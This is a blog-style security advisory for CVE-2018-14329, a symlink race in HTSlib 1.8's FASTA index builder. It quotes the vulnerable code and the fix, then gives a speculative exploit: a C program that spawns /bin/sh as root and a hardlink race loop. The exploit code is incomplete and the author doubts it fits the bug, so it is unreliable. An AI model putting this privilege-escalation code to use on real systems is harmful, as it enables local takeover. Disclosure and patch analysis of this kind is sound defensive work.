Pageviews

Thursday, 19 July 2018

race condition in htslib - CVE-2018-14329

Hi Internet,

Product affected: htslib, a C library for high-throughput sequencing data format.

Summary: In HTSlib 1.8, a race condition in `cram/cram_io.c` might allow local users to overwrite arbitrary files via a symlink attack.

File faidx.c
       snprintf(fai_file, PATH_MAX, "%s.fai", fn);
        if (access(fai_file, R_OK) != 0)
            if (fai_build(fn) != 0)
                return NULL;
}
The API for the fai_build* functions is to take a filename. This inherently leaves a race. Code currently does things like :
`if (!access(...)) fai_build()`
or
`if (!open(...)) fai_build()`

Both of these suffer the same problem - an attacker could symlink the file between the access/open check and the decision to rebuild it. This solution makes the build function itself unlink the file and does an exclusive open so it'll fail if someone wins the race between unlink and hopen. There is one small fly in the ointment - we can currently do "samtools faidx s3:foo.fa" and this will open s3:foo.fa.fai. The unlink will fail, so we've now changed behaviour because previously we could overwrite an existing s3 fai file with a new one whereas now we require the user to manually delete their existing one first. Without having an `hunlink()` function we're scuppered on this.
@@ -493,7 +493,12 @@ static int fai_build3_core(const char *fn, const char *fnfai, const char *fngzi)
         goto fail;
     }
 
-    fp = hopen(fnfai, "wb");
+    if (hisremote(fnfai)) {
+        fp = hopen(fnfai, "wb");
+    } else {
+        unlink(fnfai);
+        fp = hopen(fnfai, "wbx");
+    }
 
     if ( !fp ) {
         hts_log_error("Failed to open %s index %s : %s", file_type, fnfai, strerror(errno));
The only possible workaround over here is to validate the filename first, so if the fasta file is fd_backend we use exclusive open, and don't otherwise. This is what is implemented here and a patch was deployed, hope you like the read.

Exploiting: I 'assume' that this can be exploited by hardlink.
exploit.c
#include 
int main()
{
  if (geteuid()!=0) exit(1);
  setuid(geteuid());
  char *args[] = { "/bin/sh", 0 };
  return execve(args[0], args, 0);
}
Trigger an race condition by creating a hardlink to the vulnerable program.
while :; do ln -f ./vulnpoc; ln -f ./exploit; done
Where, the htslib team says, probably this is not the way to exploit,  I hadn't really thought about the hardlink case, although again affecting those only applies to writeable / shared locations, so it's also high improbable to cause bugs either way. Hope you like the read.


Regards
Dhiraj

No comments:

Post a Comment